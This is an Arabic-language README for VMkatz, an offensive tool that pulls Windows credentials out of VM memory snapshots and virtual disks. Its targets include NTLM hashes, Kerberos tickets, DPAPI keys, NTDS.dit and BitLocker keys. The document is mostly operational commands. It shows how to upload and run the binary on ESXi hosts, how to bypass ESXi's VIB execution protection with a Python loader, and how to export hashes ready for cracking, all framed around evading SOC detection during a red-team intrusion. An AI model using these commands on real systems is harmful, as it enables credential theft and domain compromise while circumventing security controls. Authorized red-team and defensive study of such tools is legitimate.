
استخراج بيانات اعتماد Windows مباشرة من لقطات ذاكرة VM والأقراص الافتراضية
أنت في الأسبوع الثالث من عملية فريق أحمر. حركة مرورك تتسلل عبر VPN، ثم ترتد عبر أربعة بروكسيات SOCKS متسلسلة عبر مضيفين تم اختراقهم قبل أن تلمس الشبكة المستهدفة. كل حزمة تسلك الطريق الخلاب.
بعد أيام من الحركة الجانبية، تهبط على NAS متصل بمجموعة المحاكاة الافتراضية، وتظهر قائمة الدليل بشكل مختلف: صفوف تلو صفوف من .vmdk و.vmsn و.sav. مئات الغيغابايت من الأجهزة الافتراضية - وحدات تحكم المجال، ومحطات عمل المسؤولين، الجواهر التاجية - موجودة هناك.
لكن رابطك يتنفس بصعوبة عند 200 كيلوبايت/ثانية. سحب صورة قرص واحدة بحجم 100 جيجابايت سيستغرق ستة أيام، وكل ساعة من التسريب المستمر هي فرصة أخرى لمركز العمليات الأمنية (SOC) لرصد الشذوذ، حرق النفق الخاص بك، وانهيار السلسلة بأكملها.
VMkatz موجود لأنك لا يجب أن تضطر إلى تسريب ما يمكنك قراءته في مكانه. يستخرج أسرار ويندوز - تجزئات NTLM، مفاتيح DPAPI الرئيسية، تذاكر Kerberos، بيانات اعتماد المجال المخزنة مؤقتًا، أسرار LSA، NTDS.dit، مفاتيح BitLocker - مباشرة من لقطات ذاكرة VM والأقراص الافتراضية، على NAS، والمشرف الافتراضي، أينما كانت ملفات VM.
ثنائي ثابت واحد، بحجم ~3 ميجابايت. أسقطه على مضيف ESXi، أو عقدة Proxmox، أو NAS. أشر به إلى .vmsn أو .vmdk أو مجلد VM كامل. انطلق مع بيانات اعتماد، وليس صور أقراص.
جميع موفري بيانات اعتماد SSP التسعة التي ينفذها mimikatz:
بالإضافة إلى: استخراج BitLocker FVEK من الذاكرة (مسح علامات التجمع لـ FVEc/Cngb).
$DPAPImk$ — أوضاع 15300/15310/15900/15910)نظام التشغيل المستهدف: Windows Server 2003 حتى Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# استخراج بيانات اعتماد LSASS من لقطة VMware
./vmkatz snapshot.vmsn
# مع حل صفحة الذاكرة لبيانات الاعتماد المنقولة إلى الصفحة
./vmkatz --disk disk.vmdk snapshot.vmsn
# استخراج SAM/LSA/DCC2 من قرص افتراضي
./vmkatz disk.vmdk
# استخراج تجزئات AD من قرص وحدة تحكم المجال
./vmkatz --ntds dc-disk.qcow2
# أشر إلى مجلد VM ودعها تجد كل شيء
./vmkatz /path/to/vm-directory/
# استخراج من خلايا التسجيل الأولية
./vmkatz SAM SYSTEM SECURITY
# إخراج كتجزئات جاهزة لـ hashcat
./vmkatz --format hashcat snapshot.vmsn
# تصدير تذاكر Kerberos
./vmkatz --kirbi snapshot.vmsn # ملفات .kirbi
./vmkatz --ccache snapshot.vmsn # ملف .ccache
# تصدير FVEK لـ BitLocker لـ dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# مسح جميع VMs بشكل متكرر تحت مسار
./vmkatz -r /vmfs/volumes/datastore1/
# تحليل تفريغ ذاكرة LSASS
./vmkatz lsass.dmp
# عبر-تجميع لـ ESXi (musl ثابت)
cargo build --release --target x86_64-unknown-linux-musl
# رفع وتشغيل
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
عندما يكون حماية VIB (execInstalledOnly) مفعلًا، استخدم محمل Python — لا حاجة لتعطيل الإعداد:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
انظر docs/esxi.md لتفاصيل تجاوز VIB، وصول جهاز VMFS الأولي، والاكتشاف التلقائي.
VMkatz معيارية. يمكن تمكين/تعطيل الميزات في وقت التجميع:
cargo build --release # بناء كامل
cargo build --release --no-default-features --features vmware # VMware فقط
cargo build --release --no-default-features --features "sam ntds.dit" # أقراص فقط
| الموفّر | البيانات | ملاحظات |
|---|
| MSV1_0 | تجزئات NT/LM، SHA1 | مسح احتياطي فيزيائي للإدخالات المنقولة إلى الصفحة |
| WDigest | كلمات مرور نصية عادية | مسح قائمة مرتبطة + مسح احتياطي .data |
| Kerberos | مفاتيح AES/RC4/DES، تذاكر (.kirbi/.ccache) | مسح شجرة AVL + استخراج التذاكر للجلسات المحررة |
| TsPkg | كلمات مرور نصية عادية | جلسات RDP فقط |
| DPAPI | ذاكرة تخزين مؤقت للمفتاح الرئيسي (GUID + مفتاح مفكوك) | مفتاح رئيسي SHA1 لفك تشفير DPAPI دون اتصال |
| SSP | بيانات اعتماد نصية عادية | SspCredentialList في msv1_0.dll |
| LiveSSP | بيانات اعتماد نصية عادية | يتطلب livessp.dll (نادر بعد Win8) |
| Credman | بيانات اعتماد مخزنة | تعداد جدول تجزئة + قائمة مفردة |
| CloudAP | رموز Azure AD | فارغة عادةً لتسجيل الدخول المحلي فقط |
| الصيغة | الامتدادات | المصدر | الحالة |
|---|
| لقطات VMware | .vmsn + .vmem | Workstation, ESXi | تم الاختبار |
| لقطات VMware مدمجة | .vmsn (بدون .vmem) | تعليق ESXi | تم الاختبار |
| حالات محفوظة VirtualBox | .sav | VirtualBox | تم الاختبار |
| حالات savevm QEMU/KVM | مكتشفة تلقائيًا | Proxmox, QEMU | تم الاختبار |
| تفريغات ELF الأساسية QEMU/KVM | .elf | virsh dump | تم الاختبار |
| حالات محفوظة Hyper-V | .vmrs | Hyper-V 2016+ | لم يتم الاختبار |
| أقراص افتراضية VMware | .vmdk (متناثر + مسطح) | Workstation, ESXi | تم الاختبار |
| أقراص افتراضية VirtualBox | .vdi | VirtualBox | تم الاختبار |
| أقراص افتراضية QEMU/KVM | .qcow2 | QEMU, Proxmox | تم الاختبار |
| أقراص افتراضية Hyper-V | .vhdx, .vhd | Hyper-V | تم الاختبار |
| أجهزة SCSI الأولية VMFS-5/6 | /dev/disks/... | ESXi (يتجاوز أقفال الملفات) | تم الاختبار |
| أجهزة كتلة LVM | /dev/... | Proxmox LVM-thin | تم الاختبار |
| خلايا التسجيل الأولية | SAM, SYSTEM, SECURITY | reg save | تم الاختبار |
| NTDS.dit أولية | ntds.dit + SYSTEM | وحدة تحكم المجال | تم الاختبار |
| تفريغ ذاكرة LSASS | .dmp | procdump, إدارة المهام | تم الاختبار |
| أدلة VM | أي مجلد | يكتشف جميع الملفات تلقائيًا | تم الاختبار |
| الصيغة | العلامة | الوصف |
|---|
text | --format text (افتراضي) | تفريغ بيانات اعتماد كامل مع بيانات الجلسة |
brief | --format brief | ملخص مضغوط بسطر واحد لكل بيانات اعتماد |
ntlm | --format ntlm | DOMAIN\user:::hash::: تنسيق pwdump |
hashcat | --format hashcat | تجزئات أولية: وضع 1000 (NTLM)، 2100 (DCC2)، 15300/15900 (DPAPI) |
csv | --format csv | قابل للقراءة آليًا، جميع الحقول |
| الميزة | الوصف | الافتراضي |
|---|
vmware | دعم لقطات VMware .vmsn/.vmem | نعم |
vbox | دعم حالات VirtualBox المحفوظة .sav | نعم |
qemu | تفريغات ELF الأساسية QEMU/KVM + Proxmox savevm | نعم |
hyperv | دعم تفريغات Hyper-V .vmrs/.bin/.raw | نعم |
sam | استخراج القرص (SAM/LSA/DCC2) + معالجات صيغ الأقراص | نعم |
ntds.dit | استخراج AD من NTDS.dit. يتطلب sam | نعم |
carve | استخراج متدهور من ذاكرة جزئية/مبتورة | نعم |
dump | تفريغ ذاكرة العملية كتفريغ صغير | نعم |
vmfs | محلل VMFS-5/6 أولي لأجهزة SCSI لـ ESXi. يتطلب sam | نعم |